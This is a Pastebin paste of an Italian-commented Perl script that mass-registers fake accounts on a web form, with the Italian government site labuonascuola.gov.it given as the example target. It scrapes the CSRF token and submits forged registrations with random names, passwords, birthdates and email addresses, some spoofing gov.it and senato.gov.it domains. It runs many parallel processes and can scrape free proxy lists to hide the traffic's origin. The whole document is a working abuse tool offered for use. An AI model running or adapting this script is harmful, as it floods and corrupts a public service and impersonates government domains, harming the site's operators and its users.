Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use LWP::ConnCache;
- use HTTP::Request;
- use HTTP::Request::Common;
- use HTTP::Request::Common qw(POST);
- use LWP::Simple;
- use LWP 5.64;
- use LWP::UserAgent;
- if ($#ARGV != 4) {
- print "---------------------- H E L P ----------------------\r\n";
- print "Uso: sito - path - numeri di iscrizioni - sock(si/no) - numero threads \r\n";
- print "Esempio: https://labuonascuola.gov.it register 10000 no 100\r\n",;
- print "---------------------- H E L P ----------------------\r\n";
- exit;
- }
- my $site = $ARGV[0];
- my $path = $ARGV[1];
- my $iscrizioni = $ARGV[2];
- my $sockc = $ARGV[3];
- my $multipli = $ARGV[4];
- if ($site =~ /http:\/\//i || $site =~ /https:\/\//i) {
- }else{
- print "devi inserire l'indirizzo assoluto compreso http https o www\r\n";
- exit;
- }
- my $url = $site."/".$path;
- if ($sockc eq "si") {
- &cominciasocks ($url, $iscrizioni, $multipli);
- }
- if ($sockc eq "no") {
- &comincia($url, $iscrizioni, $multipli);
- }
- sub cominciasocks() {
- my @list_pro =&aaproxy();sleep(1);
- print "Trovati numero $#list_pro socks\r\n";
- my $url = $_[0];
- my $num_isc = $_[1];
- my $multi = $_[2];
- my @childs;
- my $maxproc=$multi;
- my $numproc=0;
- for (my $i=1; $i<=$num_isc; $i++) {
- if(($pid=fork()) == 0)
- {
- my ($proip, $proport) = &proxxy (@list_pro);
- &connecta ($proip, $proport, $url);
- exit 0;
- }
- push(@childs, $pid);
- $numproc++;
- while($numproc >= $maxproc)
- {
- waitpid(shift(@childs), 0);
- $numproc--;
- }
- }
- while($k=shift(@childs))
- {
- waitpid($k, 0);
- }
- }
- sub connecta() {
- my $url = $_[2];
- my $toke;
- my $cookiejar = &cookies;
- my $username = &username;
- my $password = &password;
- my $email = &email;
- my $sesso = &sesso;
- my $status = &stato;
- my $giorno = &giorno;
- my $mese = &mese;
- my $anno = &anno;
- my $uagent = "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
- $token1 = `curl -ks -m 10 -c $cookiejar -A "$uagent" --url "$url" 2>/dev/null`;
- if ($token1 =~ /class\=\"form-control\" value\=\"(.*)\"/i) {
- $toke = $1;
- print "$toke\r\n";
- my $data = ("fos_user_registration_form[username]=".$username."&fos_user_registration_form[plainPassword][first]=".$password."&fos_user_registration_form[plainPassword][second]=".$password."&fos_user_registration_form[email]=".$email."&fos_user_registration_form[anagrafica][sesso]=".$sesso."&fos_user_registration_form[anagrafica][dataNascita][day]=".$giorno."&fos_user_registration_form[anagrafica][dataNascita][month]=".$mese."&fos_user_registration_form[anagrafica][dataNascita][year]=".$anno."&fos_user_registration_form[status]=".$status."&fos_user_registration_form[_token]=".$toke."&fos_user_registration_form[anagrafica][disclaimeremail][]=1&fos_user_registration_form[anagrafica][disclaimerprivacy][]=1&Registrati");
- $expl = `curl -ks -m 10 -A "$uagent" -b $cookiejar -d "$data" --url "$url" 2>/dev/null`;
- #print $expl; # solo per controllo output
- print ("$username registrato!\r\n");
- }
- unlink $cookiejar;
- }
- sub comincia() {
- my $url = $_[0];
- my $num_isc = $_[1];
- my $multi = $_[2];
- my @childs;
- my $maxproc=$multi;
- my $numproc=0;
- for (my $i=0; $i<=$num_isc; $i++) {
- if(($pid=fork()) == 0)
- {
- &connectb ($url);
- exit 0;
- }
- push(@childs, $pid);
- $numproc++;
- while($numproc >= $maxproc)
- {
- waitpid(shift(@childs), 0);
- $numproc--;
- }
- }
- while($k=shift(@childs))
- {
- waitpid($k, 0);
- }
- }
- sub connectb() {
- my $url = $_[0];
- my $toke;
- my $cookiejar = &cookies;
- my $username = &username;
- my $password = &password;
- my $email = &email;
- my $sesso = &sesso;
- my $status = &stato;
- my $giorno = &giorno;
- my $mese = &mese;
- my $anno = &anno;
- my $uagent = "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
- $token1 = `curl -ks -m 10 -c $cookiejar -A "$uagent" --url "$url" 2>/dev/null`;
- #print $res->decoded_content;
- if ($token1 =~ /class\=\"form-control\" value\=\"(.*)\"/i) {
- $toke = $1;
- #print "toke $toke\r\n";
- my $data = ("fos_user_registration_form[username]=".$username."&fos_user_registration_form[plainPassword][first]=".$password."&fos_user_registration_form[plainPassword][second]=".$password."&fos_user_registration_form[email]=".$email."&fos_user_registration_form[anagrafica][sesso]=".$sesso."&fos_user_registration_form[anagrafica][dataNascita][day]=".$giorno."&fos_user_registration_form[anagrafica][dataNascita][month]=".$mese."&fos_user_registration_form[anagrafica][dataNascita][year]=".$anno."&fos_user_registration_form[status]=".$status."&fos_user_registration_form[_token]=".$toke."&fos_user_registration_form[anagrafica][disclaimeremail][]=1&fos_user_registration_form[anagrafica][disclaimerprivacy][]=1&Registrati");
- $expl = `curl -ks -m 10 -A "$uagent" -b $cookiejar -d "$data" --url "$url" 2>/dev/null`;
- #print $expl; # solo per controllo output
- print "$username:$password\r\n";
- }
- unlink $cookiejar;
- }
- sub aaproxy() {
- my @ip_proxy;
- for ($b=1; $b<=120; $b+=1) {
- my $siteproxy = ("http://free-proxy.cz/en/proxylist/country/all/all/date/all/".$b);
- my $resul = &get_content($siteproxy);
- while ($resul =~ m/<\/div> (.*?)<\/td>\s+<td><span class=\"fport\">(.*?)<\/span>/g) {
- my $ip_proxy = $1;
- my $porta_proxy = $2;
- my $proxy = $1.":".$2;
- push(@ip_proxy, $proxy);
- }
- }
- return @ip_proxy;
- }
- sub username() {
- my $user;
- #sleep(1);
- srand();
- @randomic = ('a'..'z');
- $user.= $randomic[int rand @randomic] for 1..10;
- return $user;
- }
- sub password() {
- #sleep(1);
- my $pass;
- srand();
- @randomic = ('a'..'z', '0'..'9');
- $pass.= $randomic[int rand @randomic] for 1..12;
- return $pass;
- }
- sub sesso() {
- my $sesso;
- srand();
- my @sex = ('f', 'm');
- my $sesso = $sex[rand @sex];
- return $sesso;
- }
- sub email() {
- my $email;
- srand();
- my @mail = ('gmail.com', 'aruba.it', 'yahoo.com', 'libero.it', 'posteitaliane.it', 'governo.gov.it', 'senato.gov.it', 'italia.gov.it');
- $maill = $mail[rand @mail];
- $mail = &username."@".$maill;
- return $mail;
- }
- sub stato() {
- my $status;
- srand();
- my @stato = ('Studente', 'Docente', 'Dirigente scolastico', 'Personale ATA', 'Genitore', 'Nonno', 'Cittadino', 'altro');
- my $status = $stato[rand @stato];
- return $status;
- }
- sub giorno() {
- my $giorno;
- $a="1";
- $b="31";
- $giorno = int( rand ($b-$a) ) + $a;
- return $giorno;
- }
- sub mese() {
- my $mese;
- $a="3";
- $b="13";
- $mese = int( rand ($b-$a) ) + $a;
- return $mese;
- }
- sub anno() {
- my $anno;
- $a="1940";
- $b="2001";
- $anno = int( rand ($b-$a) ) + $a;
- return $anno;
- }
- sub cookies() {
- my $cookie1;
- my $cookie;
- #sleep(1);
- srand();
- @randomic = ('0'..'9');
- $cookie1.= $randomic[int rand @randomic] for 1..10;
- $cookie = $cookie1."cookies.tzz";
- return $cookie;
- }
- sub proxxy() {
- sleep(1);
- srand();
- my @list_pro = (@_);
- my $proxyy = $list_pro[rand @list_pro];
- my ($proip1, $proport1) = split(/:/, $proxyy);
- return ($proip1, $proport1)
- }
- sub get_content() {
- my $url = $_[0];
- my $uagent = "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
- $ENV{PERL_LWP_SSL_VERIFY_HOSTNAME} = 1;
- my $ua = LWP::UserAgent->new(agent => $uagent);
- $ua->timeout(5);
- my $res = $ua->get($url);
- return $res->decoded_content;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement